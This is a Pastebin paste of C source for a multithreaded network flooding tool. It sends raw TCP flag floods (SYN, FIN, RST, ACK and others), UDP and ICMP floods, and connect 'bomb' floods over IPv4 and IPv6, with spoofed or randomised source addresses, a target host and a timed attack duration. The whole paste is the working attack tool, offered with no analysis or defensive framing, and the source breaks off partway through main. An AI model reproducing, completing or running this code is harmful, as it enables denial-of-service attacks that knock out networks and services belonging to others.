Advertisement
wtfbbq

shit.c

Mar 15th, 2015
860
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 41.10 KB | None | 0 0
  1. #ifndef _BSD_SOURCE
  2. #define _BSD_SOURCE
  3. #endif
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <unistd.h>
  7. #include <netdb.h>
  8. #include <sys/types.h>
  9. #include <netinet/in_systm.h>
  10. #include <sys/socket.h>
  11. #include <string.h>
  12. #include <time.h>
  13. #include <signal.h>
  14. #ifndef __USE_BSD
  15. #define __USE_BSD
  16. #endif
  17. #ifndef __FAVOR_BSD
  18. #define __FAVOR_BSD
  19. #endif
  20. #include <netinet/in.h>
  21. #include <netinet/ip.h>
  22. #include <netinet/ip6.h>
  23. #include <netinet/ip_icmp.h>
  24. #include <netinet/icmp6.h>
  25. #include <netinet/tcp.h>
  26. #include <netinet/udp.h>
  27. #include <netinet/ip_icmp.h>
  28. #include <arpa/inet.h>
  29. #include <pthread.h>
  30. static void usage(const char *argv0);
  31. #define INET_ADDR       16
  32. #define INET6_ADDR      46
  33. #define TCP_FIN         1
  34. #define TCP_SYN         2
  35. #define TCP_RST         4
  36. #define TCP_PSH         8
  37. #define TCP_ACK                 16
  38. #define TCP_URG                 32
  39. #define TCP_BMB                 64
  40. #define UDP_BMB                 64
  41. #define UDP_CFF         128
  42. #define ICMP_ECHO_G     256
  43. #define ICMP_HDRLEN     8
  44. #ifdef LINUX
  45. #define FIX(x)  htons(x)
  46. #else
  47. #define FIX(x)  (x)
  48. #endif
  49. /* START THREADS */
  50. #define MAX_THREADS 32768
  51. pthread_t attack_thread[MAX_THREADS];
  52. struct thread_data {
  53.         int initialized;                        // valid thread?
  54.         int flag4, flag6;                       // v4 or v6
  55.         int     start;
  56.         int packets;
  57.         unsigned int timeout;           // attack timeout
  58.         int thread;
  59.         unsigned int bombsize;          // size of connect bomb
  60.         int socket;                                     // rawsock
  61.         int a_flags;                            // a_flags
  62.         struct sockaddr_in      destination4;
  63.         struct sockaddr_in6 destination6;
  64.         u_long dstaddr;
  65.         u_char th_flags;
  66.         int     d_lport;
  67.         int d_hport;
  68.         int s_lport;
  69.         int s_hport;
  70.         char *src_class;
  71.         char *dst_class;
  72.         char SrcIP4[INET_ADDR];
  73.         char SrcIP6[INET6_ADDR];
  74.         char DestIP4[INET_ADDR];
  75.         char DestIP6[INET6_ADDR];
  76.  
  77. };
  78. struct thread_data thread_data_array[MAX_THREADS];
  79. /* END THREADS */
  80.  
  81. void  handle_exit () {
  82.         int i;
  83.         int packets;
  84.         packets   = thread_data_array[1].packets
  85.                           + thread_data_array[2].packets
  86.                           +     thread_data_array[4].packets
  87.                           +     thread_data_array[8].packets
  88.                           + thread_data_array[16].packets
  89.                       + thread_data_array[32].packets
  90.                           + thread_data_array[64].packets
  91.                           + thread_data_array[128].packets
  92.                           + thread_data_array[256].packets;
  93.         printf ("Packeting completed, %d total, %d seconds, %d pps\n",  packets, time (NULL) - thread_data_array[0].start, packets / (time (NULL) - thread_data_array[0].start));
  94.         exit (0);
  95. }
  96. void *send_bomb(void* arg);
  97. void *send_bomb_udp(void* arg);
  98.  
  99. struct pseudo_hdr
  100. {
  101.     u_long saddr, daddr;    /* source and dest address   */
  102.     u_char mbz, ptcl;       /* zero and protocol         */
  103.     u_short tcpl;           /* tcp length                */
  104. };
  105. struct checksum
  106. {
  107.     struct pseudo_hdr pseudo;
  108.     struct tcphdr tcp;
  109. };
  110.  
  111. u_long
  112. lookup(const char *host)
  113. {
  114.     struct hostent *hp;
  115.     if ( (hp = gethostbyname(host)) == NULL)
  116.         {
  117.         perror("gethostbyname");
  118.         exit(-1);
  119.     }
  120.     return *(u_long *)hp->h_addr;
  121. }
  122.  
  123. unsigned short
  124. in_cksum(unsigned short *addr, int len)
  125. {
  126.     int nleft = len;
  127.     int sum = 0;
  128.     unsigned short *w = addr;
  129.     unsigned short answer = 0;
  130.     while (nleft > 1)
  131.         {
  132.         sum += *w++;
  133.         nleft -= 2;
  134.     }
  135.     if (nleft == 1)
  136.         {
  137.         *(unsigned char *) (&answer) = *(unsigned char *)w;
  138.         sum += answer;
  139.     }
  140.     sum    = (sum >> 16) + (sum & 0xffff);  /* add hi 16 to low 16 */
  141.     sum   += (sum >> 16);                   /* add carry           */
  142.     answer = ~sum;                          /* truncate to 16 bits */
  143.     return answer;
  144. }
  145. char *src_class, *dst_class = NULL;
  146.  
  147. char *
  148. class2ip(const char *class)
  149. {
  150.     static char ip[INET_ADDR];
  151.     int i, j;
  152.     for (i = 0, j = 0; class[i] != '\0'; ++i)
  153.         if (class[i] == '.')
  154.             ++j;
  155.     switch (j) {
  156.         case 0:
  157.             sprintf(ip, "%s.%d.%d.%d", class, (int) random() % 255+1, (int) random() % 255+1, (int) random() % 255+1);
  158.             break;
  159.         case 1:
  160.             sprintf(ip, "%s.%d.%d", class, (int) random() % 255+1, (int) random() % 255+1);
  161.             break;
  162.         case 2:
  163.             sprintf(ip, "%s.%d", class, (int) random() % 255+1);
  164.             break;
  165.         /* Spoofing single host */
  166.         default: strncpy(ip, class, INET_ADDR);
  167.                  break;
  168.     }
  169.     return ip;
  170. }
  171.  
  172. char *class2ip6(const char *class)
  173. {
  174.     static char ip[INET6_ADDR];
  175.         uint16_t n;
  176.     int x, y;
  177.     for (x = 0, y = 0; class[x] != '\0'; ++x)
  178.             if (class[x] == ':')
  179.                 ++y;
  180.         int i;
  181.         for (i = 0; i < 7; i++)
  182.         {
  183.                 char hex[3][i];
  184.                 n = mrand48();                                          // #1
  185.                 n = rand();                                             // #2
  186.                 FILE * f = fopen("/dev/urandom", "rb");
  187.                 fread(&n, sizeof(uint16_t), 1, f);  // #3
  188.                 sprintf(hex[i], "%04X", n);
  189.                 if(i==0)
  190.                         strcpy(ip, class);
  191.                 strcat(ip, hex[i]);
  192.                 if(i<6)
  193.                         strcat(ip, ":");
  194.         }
  195.         return ip;
  196. }
  197. static void
  198. inject(struct ip *ip, u_char p, u_char len) {
  199.     /* Filling IP header */
  200.         ip->ip_hl             = 5;
  201.         ip->ip_v              = 4;
  202.         ip->ip_p              = p;
  203.         ip->ip_tos            = 0x08; /* 0x08 */
  204.         ip->ip_id             = random();
  205.         ip->ip_len            = len;
  206.         ip->ip_off            = 0;
  207.         ip->ip_ttl            = 128;  //was 255
  208.         ip->ip_dst.s_addr     = thread_data_array[0].dst_class != NULL ?
  209.                                 inet_addr(class2ip(thread_data_array[0].dst_class)) :
  210.                                 thread_data_array[0].dstaddr;
  211.         ip->ip_src.s_addr     = thread_data_array[0].src_class != NULL ?
  212.                                 inet_addr(class2ip(thread_data_array[0].src_class)) :
  213.                                 random();
  214.         thread_data_array[0].destination4.sin_addr.s_addr = ip->ip_dst.s_addr;
  215. }
  216. static void
  217. inject6(struct ip6_hdr *ip, u_char p, u_char len) {
  218.         ip->ip6_ctlun.ip6_un1.ip6_un1_flow      = htonl ((6 << 28) | (0 << 20) | 0);
  219.         ip->ip6_ctlun.ip6_un1.ip6_un1_plen      = htons( 8 + len );
  220.         ip->ip6_ctlun.ip6_un1.ip6_un1_nxt       = p;
  221.         ip->ip6_ctlun.ip6_un1.ip6_un1_hlim      = 255;
  222.         inet_pton (AF_INET6, thread_data_array[0].DestIP6,   &ip->ip6_dst);
  223.         inet_pton (AF_INET6, thread_data_array[0].src_class, &ip->ip6_src);
  224.         thread_data_array[0].destination6.sin6_addr = ip->ip6_dst;
  225. }
  226.  
  227. void *send_tcp(void* arg)
  228. {
  229.         struct thread_data *param2  = arg;
  230.     struct checksum checksum;
  231.     struct packet
  232.         {
  233.         struct ip ip;
  234.         struct tcphdr tcp;
  235.     } packet;
  236.     struct packet6
  237.         {
  238.         struct ip6_hdr ip;
  239.         struct tcphdr tcp;
  240.     } packet6;
  241.         printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  242.         signal(SIGALRM, handle_exit);
  243.         alarm(thread_data_array[0].timeout);
  244.         if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  245.         {
  246.                 do
  247.                 {
  248.                 /* Filling IP header */
  249.                 memset(&packet, 0, sizeof packet);
  250.                 inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  251.                         packet.ip.ip_sum            = in_cksum((void *)&packet.ip, sizeof(packet));
  252.                     /* Filling cksum pseudo header */
  253.                     checksum.pseudo.daddr       = thread_data_array[0].dstaddr;
  254.                     checksum.pseudo.mbz         = 0;
  255.                     checksum.pseudo.ptcl                = IPPROTO_TCP;
  256.                     checksum.pseudo.tcpl                = sizeof(struct tcphdr);
  257.                     checksum.pseudo.saddr       = packet.ip.ip_src.s_addr;
  258.                     /* Filling TCP header */
  259.                 packet.tcp.th_win               = htons(65535);
  260.                     packet.tcp.th_seq           = random();
  261.                         //packet.tcp.th_x2                      = 4;
  262.                         if      (param2->th_flags == TCP_ACK)
  263.                         packet.tcp.th_ack       = 1;
  264.                         else
  265.                         packet.tcp.th_ack       = 0;
  266.                     packet.tcp.th_flags         = param2->th_flags;
  267.                 packet.tcp.th_off               = 5;
  268.                         if      (param2->th_flags == TCP_URG)
  269.                             packet.tcp.th_urp       = 1;
  270.                         else
  271.                             packet.tcp.th_urp       = 0;
  272.                     packet.tcp.th_sport         = thread_data_array[0].s_lport == 0 ?
  273.                                                           random () :
  274.                                                   htons(thread_data_array[0].s_lport + (random() %
  275.                                                                                   (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  276.                     packet.tcp.th_dport         = thread_data_array[0].d_lport == 0 ?
  277.                                                           random () :
  278.                                                   htons(thread_data_array[0].d_lport + (random() %
  279.                                                                                   (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  280.                     checksum.tcp                = packet.tcp;
  281.                     packet.tcp.th_sum           = in_cksum((void *)&checksum, sizeof(checksum));
  282.                         param2->packets++;
  283.                 } while ( sendto(param2->socket, &packet, (sizeof packet),
  284.                                                  0, (struct sockaddr *)&thread_data_array[0].destination4,
  285.                                  sizeof(thread_data_array[0].destination4)) );
  286.         }
  287.         if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  288.         {
  289.                 do
  290.                 {
  291.                 /* Filling IP header */
  292.                 memset(&packet6, 0, sizeof packet6);
  293.                 inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  294.                     /* Filling cksum pseudo header */
  295.                     checksum.pseudo.daddr       = thread_data_array[0].dstaddr;
  296.                     checksum.pseudo.mbz         = 0;
  297.                     checksum.pseudo.ptcl                = IPPROTO_TCP;
  298.                     checksum.pseudo.tcpl                = sizeof(struct tcphdr);
  299.                     /* Filling TCP header */
  300.                 packet6.tcp.th_win              = htons(65535);
  301.                     packet6.tcp.th_seq          = random();
  302.                         //packet6.tcp.th_x2                     = 4;
  303.                         if      (param2->th_flags == TCP_ACK)
  304.                         packet6.tcp.th_ack       = 1;
  305.                         else
  306.                         packet6.tcp.th_ack       = 0;
  307.                     packet6.tcp.th_flags        = param2->th_flags;
  308.                 packet6.tcp.th_off              = 5;
  309.                         if      (param2->th_flags == TCP_URG)
  310.                             packet6.tcp.th_urp       = 1;
  311.                         else
  312.                             packet6.tcp.th_urp       = 0;
  313.                     packet6.tcp.th_sport        = thread_data_array[0].s_lport == 0 ?
  314.                                                           random () :
  315.                                                   htons(thread_data_array[0].s_lport + (random() %
  316.                                                                                   (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  317.                     packet6.tcp.th_dport        = thread_data_array[0].d_lport == 0 ?
  318.                                                           random () :
  319.                                                   htons(thread_data_array[0].d_lport + (random() %
  320.                                                                                   (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  321.                     checksum.tcp                = packet.tcp;
  322.                     packet6.tcp.th_sum          = in_cksum((void *)&checksum, sizeof(checksum));
  323.                         param2->packets++;
  324.                 } while ( sendto(param2->socket, &packet6.tcp, (sizeof packet6),
  325.                                                  0, (struct sockaddr *)&thread_data_array[0].destination6,
  326.                                  sizeof(thread_data_array[0].destination6)) );
  327.         }
  328. }
  329.  
  330. void *send_udp(void* arg) {
  331.         struct thread_data *param2  = arg;
  332.     struct packet
  333.         {
  334.         struct ip ip;
  335.         struct udphdr udp;
  336.     } packet;
  337.     struct packet6
  338.         {
  339.         struct ip6_hdr ip;
  340.         struct udphdr udp;
  341.     } packet6;
  342.         printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  343.         signal(SIGALRM, handle_exit);
  344.         alarm(thread_data_array[0].timeout);
  345.         if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  346.         {
  347.                 do
  348.                 {
  349.                     /* Filling IP header */
  350.                     memset(&packet, 0, sizeof packet);
  351.                     inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  352.                         packet.ip.ip_sum            = in_cksum((void *)&packet.ip, sizeof(packet));
  353.                     /* Filling UDP header */
  354.                     packet.udp.uh_sport         = thread_data_array[0].s_lport == 0 ?
  355.                                                           random () :
  356.                                                   htons(thread_data_array[0].s_lport + (random() %
  357.                                                                                   (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  358.                     packet.udp.uh_dport         = thread_data_array[0].d_lport == 0 ?
  359.                                                           random () :
  360.                                                   htons(thread_data_array[0].d_lport + (random() %
  361.                                                                                   (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  362.                     packet.udp.uh_ulen          = htons(sizeof packet.udp);
  363.                     packet.udp.uh_sum           = 0;
  364.                         param2->packets++;
  365.                 } while ( sendto(param2->socket, &packet, (sizeof packet),
  366.                                                  0, (struct sockaddr *)&thread_data_array[0].destination4,
  367.                                  sizeof(thread_data_array[0].destination4)) );
  368.         }
  369.         else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  370.         {
  371.                 do
  372.                 {
  373.                     /* Filling IP header */
  374.                     memset(&packet6, 0, sizeof packet6);
  375.                     inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  376.                     /* Filling UDP header */
  377.                     packet6.udp.uh_sport        = thread_data_array[0].s_lport == 0 ?
  378.                                                           random () :
  379.                                                   htons(thread_data_array[0].s_lport + (random() %
  380.                                                                                   (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  381.                     packet6.udp.uh_dport        = thread_data_array[0].d_lport == 0 ?
  382.                                                           random () :
  383.                                                   htons(thread_data_array[0].d_lport + (random() %
  384.                                                                                   (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  385.                     packet6.udp.uh_ulen         = htons(sizeof packet6.udp);
  386.                     packet6.udp.uh_sum          = 0;
  387.                         packet6.udp.uh_sum                      = in_cksum((void *)&packet6, sizeof(packet6));
  388.                         param2->packets++;
  389.                 } while ( sendto(param2->socket, &packet6, (sizeof packet6),
  390.                                                  0, (struct sockaddr *)&thread_data_array[0].destination6,
  391.                                  sizeof(thread_data_array[0].destination6)) );
  392.         }
  393. }
  394.  
  395. void *send_icmp(void* arg) {
  396.         struct thread_data *param2  = arg;
  397.     struct packet
  398.         {
  399.                 struct ip ip;
  400.         struct icmp icmp;
  401.     } packet;
  402.     struct packet6
  403.         {
  404.                 struct ip6_hdr ip;
  405.         struct icmp6_hdr icmp;
  406.     } packet6;
  407.         printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  408.         signal(SIGALRM, handle_exit);
  409.         alarm(thread_data_array[0].timeout);
  410.         if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  411.         {
  412.                 do
  413.                 {
  414.                     /* Filling IP header */
  415.                         memset(&packet, 0, sizeof packet);
  416.                     inject(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  417.                         packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
  418.                     /* Filling ICMP header */
  419.                         packet.icmp.icmp_type       = ICMP_ECHO;
  420.                     packet.icmp.icmp_code       = 0;
  421.                     packet.icmp.icmp_cksum      = htons( ~(ICMP_ECHO << 8));
  422.                         param2->packets++;
  423.                 } while ( sendto(param2->socket, &packet, (sizeof packet),
  424.                                                  0, (struct sockaddr *)&thread_data_array[0].destination4,
  425.                                          sizeof(thread_data_array[0].destination4)) );
  426.         }
  427.         else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  428.         {
  429.                 do
  430.                 {
  431.                     /* Filling IP header */
  432.                         memset(&packet6, 0, sizeof packet6);
  433.                     inject6(&packet6.ip, IPPROTO_ICMPV6, FIX(sizeof packet6));
  434.                     /* Filling ICMP header */
  435.                         packet6.icmp.icmp6_type         = ICMP6_ECHO_REQUEST;
  436.                     packet6.icmp.icmp6_code             = 0;
  437.                         packet6.icmp.icmp6_id           = random();
  438.                         packet6.icmp.icmp6_seq          = random();
  439.                         packet6.icmp.icmp6_cksum        = 0;
  440.                         packet6.icmp.icmp6_cksum        = in_cksum((void *)&packet6, sizeof(packet6));
  441.                         param2->packets++;
  442.                 } while ( sendto(param2->socket, &packet6.icmp, (sizeof packet6),
  443.                                                  0, (struct sockaddr *)&thread_data_array[0].destination6,
  444.                                          sizeof(thread_data_array[0].destination6)) );
  445.         }
  446. }
  447. void *send_bomb(void* arg) {
  448.         struct thread_data *param2  = arg;
  449.         if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  450.         }
  451.         if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  452.                 param2->socket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  453.         else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  454.                 param2->socket = socket(AF_INET6, SOCK_RAW, IPPROTO_TCP);
  455.         int i;
  456.         uint16_t n;
  457.     static char bmbstring[16];
  458.         for (i = 0; i < 4; i++) {
  459.                 char hex[3][i];
  460.                 n = mrand48();
  461.                 n = rand();
  462.                 FILE * f = fopen("/dev/urandom", "rb");
  463.                 fread(&n, sizeof(uint16_t), 1, f);
  464.                 sprintf(hex[i], "%04X", n);
  465.                 strcat(bmbstring, hex[i]);
  466.         }
  467.         if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  468.         connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination4, sizeof(struct sockaddr_in));
  469.         else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  470.         connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination6, sizeof(struct sockaddr_in6));
  471.         printf("[%d] Acquired socket %d - using string (%s)\n", param2->thread, param2->socket, bmbstring);
  472.         signal(SIGALRM, handle_exit);
  473.         alarm(thread_data_array[0].timeout);
  474.         do {
  475.                 param2->packets++;
  476.         } while ( send(param2->socket, bmbstring, param2->bombsize, 0) );
  477.         return 0;
  478. }
  479. void *send_bomb_udp(void* arg) {
  480.         struct thread_data *param2  = arg;
  481.         if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  482.         }
  483.         if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  484.                 param2->socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  485.         else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  486.                 param2->socket = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
  487.         int i;
  488.         uint16_t n;
  489.     static char bmbstring[16];
  490.         for (i = 0; i < 4; i++) {
  491.                 char hex[3][i];
  492.                 n = mrand48();
  493.                 n = rand();
  494.                 FILE * f = fopen("/dev/urandom", "rb");
  495.                 fread(&n, sizeof(uint16_t), 1, f);
  496.                 sprintf(hex[i], "%04X", n);
  497.                 strcat(bmbstring, hex[i]);
  498.         }
  499.         if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  500.         connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination4, sizeof(struct sockaddr_in));
  501.         else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  502.         connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination6, sizeof(struct sockaddr_in6));
  503.         printf("[%d] Acquired socket %d - using string (%s)\n", param2->thread, param2->socket, bmbstring);
  504.         signal(SIGALRM, handle_exit);
  505.         alarm(thread_data_array[0].timeout);
  506.         do {
  507.         param2->packets++;
  508.         } while (send(param2->socket, bmbstring, param2->bombsize, 0));
  509.         return 0;
  510. }
  511. int main(int argc, char *argv[]) {
  512.         int i = 0, n, s;
  513.         int on = 1;
  514.         char DestIP4[INET_ADDR];
  515.         char DestIP6[INET6_ADDR];
  516.         struct sockaddr_in DestAddress4;
  517.         struct sockaddr_in6 DestAddress6;
  518.     while ( (n = getopt(argc, argv, "46T:C:R:IUh:d:s:t:p:q:")) != -1) {
  519.         char *p;
  520.                 switch (n) {
  521.                         case '4':
  522.                                 thread_data_array[0].flag4 = 1;
  523.                                 break;
  524.                         case '6':
  525.                                 thread_data_array[0].flag6 = 1;
  526.                                 break;
  527.                         case 'T':
  528.                 switch (atoi(optarg))
  529.                                 {
  530.                     case 0:
  531.                                                 thread_data_array[TCP_FIN].initialized  = 1;
  532.                                                 thread_data_array[0].a_flags |= TCP_FIN;
  533.                                                 thread_data_array[TCP_FIN].a_flags |= TCP_FIN;
  534.                                                 break;
  535.                     case 1:
  536.                                                 thread_data_array[TCP_SYN].initialized  = 1;
  537.                                                 thread_data_array[0].a_flags |= TCP_SYN;
  538.                                                 thread_data_array[TCP_SYN].a_flags |= TCP_SYN;
  539.                                                 break;
  540.                     case 2:
  541.                                                 thread_data_array[TCP_RST].initialized  = 1;
  542.                                                 thread_data_array[0].a_flags |= TCP_RST;
  543.                                                 thread_data_array[TCP_RST].a_flags |= TCP_RST;
  544.                                                 break;
  545.                     case 3:
  546.                                                 thread_data_array[TCP_PSH].initialized  = 1;
  547.                                                 thread_data_array[0].a_flags |= TCP_PSH;
  548.                                                 thread_data_array[TCP_PSH].a_flags |= TCP_PSH;
  549.                                                 break;
  550.                     case 4:
  551.                                                 thread_data_array[TCP_ACK].initialized  = 1;
  552.                                                 thread_data_array[0].a_flags |= TCP_ACK;
  553.                                                 thread_data_array[TCP_ACK].a_flags |= TCP_ACK;
  554.                                                 break;
  555.                     case 5:
  556.                                                 thread_data_array[TCP_URG].initialized  = 1;
  557.  
  558.                                                 thread_data_array[0].a_flags |= TCP_URG;
  559.                                                 thread_data_array[TCP_URG].a_flags |= TCP_URG;
  560.                                                 break;
  561.                 }
  562.                                 break;
  563.                         case 'C':
  564.                                 thread_data_array[TCP_BMB].initialized = 1;
  565.                                 thread_data_array[0].a_flags |= TCP_BMB;
  566.                                 thread_data_array[TCP_BMB].a_flags |= TCP_BMB;
  567.                                 thread_data_array[TCP_BMB].bombsize = atoi(optarg);
  568.                                 break;
  569.                         case 'R':
  570.                                 thread_data_array[UDP_BMB].initialized = 1;
  571.                                 thread_data_array[0].a_flags |= UDP_BMB;
  572.                                 thread_data_array[UDP_BMB].a_flags |= UDP_BMB;
  573.                                 thread_data_array[UDP_BMB].bombsize = atoi(optarg);
  574.                                 break;
  575.                         case 'I':
  576.                                 thread_data_array[ICMP_ECHO_G].initialized = 1;
  577.                                 thread_data_array[0].a_flags |= ICMP_ECHO_G;
  578.                                 thread_data_array[ICMP_ECHO_G].a_flags |= ICMP_ECHO_G;
  579.                                 break;
  580.                         case 'U':
  581.                                 thread_data_array[UDP_CFF].initialized = 1;
  582.                                 thread_data_array[0].a_flags |= UDP_CFF;
  583.                                 thread_data_array[UDP_CFF].a_flags |= UDP_CFF;
  584.                                 break;
  585.                         case 'h':
  586.                                 if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  587.                                 {
  588.                                         DestAddress4.sin_family         = AF_INET;
  589.                                 inet_pton(AF_INET, optarg, &DestAddress4.sin_addr);
  590.                                         thread_data_array[0].dstaddr = lookup(optarg);
  591.                                         thread_data_array[0].destination4       =       DestAddress4;
  592.                                 }
  593.                                 else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  594.                                 {
  595.                                         DestAddress6.sin6_family        = AF_INET6;
  596.                                 inet_pton(AF_INET6, optarg, &DestAddress6.sin6_addr);
  597.                                         thread_data_array[0].destination6       =       DestAddress6;
  598.                                 }
  599.                                 else
  600.                                 {
  601.                                 printf("-4 and -6 can not both be specified.\n\n");
  602.                         usage(argv[0]);
  603.                                 }
  604.                                 break;
  605.             case 'd':
  606.                 thread_data_array[0].dst_class = optarg;
  607.                 break;
  608.             case 's':
  609.                 thread_data_array[0].src_class = optarg;
  610.                 break;
  611.             case 'p':
  612.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  613.                     usage(argv[0]);
  614.                 thread_data_array[0].d_lport = atoi(optarg);    /* Destination start port */
  615.                 thread_data_array[0].d_hport = atoi(p + 1);     /* Destination end port */
  616.                 break;
  617.             case 'q':
  618.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  619.                     usage(argv[0]);
  620.                 thread_data_array[0].s_lport = atoi(optarg);    /* Destination start port */
  621.                 thread_data_array[0].s_hport = atoi(p + 1);     /* Destination end port */
  622.                 break;
  623.             case 't':
  624.                 thread_data_array[0].timeout = atoi(optarg);
  625.                 break;
  626.             default:
  627.                 usage(argv[0]);
  628.                 break;
  629.                 }
  630.         }
  631.         if  (!thread_data_array[0].timeout) {
  632.         usage(argv[0]);
  633.         }
  634.         if  (!thread_data_array[0].src_class) {
  635.         if(thread_data_array[0].flag6 == 1) {
  636.         printf("\n\e[1;37merror: -s must be specified with -6\n\n");
  637.         usage(argv[0]);
  638.         }
  639.         }
  640.         if      ( (!thread_data_array[0].flag4 && !thread_data_array[0].flag6)  ||
  641.                 (!thread_data_array[0].a_flags)                                                                 ||
  642.                 (!thread_data_array[0].timeout)
  643.                 ) {
  644.         usage(argv[0]);
  645.         }
  646.         if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  647.         int i;
  648.         for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  649.                         if ( thread_data_array[i].initialized == 1 )
  650.                         {
  651.                         if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  652.                                 {
  653.                                 perror("socket");
  654.                                 exit(-1);
  655.                         }
  656.  
  657.                         if (setsockopt(thread_data_array[i].socket, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
  658.                                 {
  659.                         perror("setsockopt");
  660.                         exit(-1);
  661.                         }
  662.                         }
  663.                 }
  664. printf("[IPv4] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n",thread_data_array[0].dst_class != NULL ? thread_data_array[0].dst_class : inet_ntop(AF_INET, &thread_data_array[0].destination4.sin_addr, thread_data_array[0].DestIP4, sizeof(thread_data_array[0].DestIP4)),thread_data_array[0].src_class,thread_data_array[0].a_flags, thread_data_array[0].timeout);
  665.         }
  666.         else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  667.         {
  668.                 int i;
  669.         for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  670.                         if ( thread_data_array[i].initialized== 1 )
  671.                         {
  672.                                 if (thread_data_array[i].a_flags <= TCP_BMB )
  673.                                 {
  674.                                 if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_TCP)) < 0)
  675.                                         {
  676.                                         perror("socket");
  677.                                         exit(-1);
  678.                                 }
  679.                                 }
  680.                                 else if (thread_data_array[i].a_flags == UDP_BMB) {
  681.                                 if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)) < 0)
  682.                              {
  683.                                         perror("socket");
  684.                                         exit(-1);
  685.                                 }
  686.                                 }
  687.                                 else if (thread_data_array[i].a_flags == UDP_CFF)
  688.                                 {
  689.                                 if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_UDP)) < 0)
  690.                                         {
  691.                                         perror("socket");
  692.                                         exit(-1);
  693.                                 }
  694.                                 }
  695.                                 else if (thread_data_array[i].a_flags == ICMP_ECHO_G)
  696.                                 {
  697.                                 if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)) < 0)
  698.                                         {
  699.                                         perror("socket");
  700.                                         exit(-1);
  701.                                 }
  702.                                 }
  703.                         if (setsockopt(thread_data_array[i].socket, IPPROTO_IPV6, IPV6_TCLASS, (char *)&on, sizeof(on)) < 0) {
  704.                         perror("setsockopt");
  705.                         exit(-1);
  706.                         }
  707.                         }
  708.                 }
  709.                 printf("[IPv6] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n",thread_data_array[0].dst_class != NULL ? thread_data_array[0].dst_class : inet_ntop(AF_INET6, &thread_data_array[0].destination6.sin6_addr, thread_data_array[0].DestIP6, sizeof(thread_data_array[0].DestIP6)),thread_data_array[0].src_class,thread_data_array[0].a_flags,thread_data_array[0].timeout);
  710.         }
  711.         signal (SIGINT,  handle_exit);
  712.         signal (SIGTERM, handle_exit);
  713.         signal (SIGQUIT, handle_exit);
  714.         thread_data_array[0].start              = time(NULL);
  715.         for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  716.                 if (thread_data_array[i].a_flags == TCP_FIN)
  717.                 {
  718.                         thread_data_array[i].thread             = i;
  719.                         thread_data_array[i].packets    = 0;
  720.                         thread_data_array[i].th_flags = TH_FIN;
  721.                         if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  722.                         {
  723.                         printf("+    Thread error:\n");
  724.                                 perror("-    pthread_create()\n");
  725.                 }
  726.                 }
  727.                 if (thread_data_array[i].a_flags == TCP_SYN)
  728.                 {
  729.                         thread_data_array[i].thread             = i;
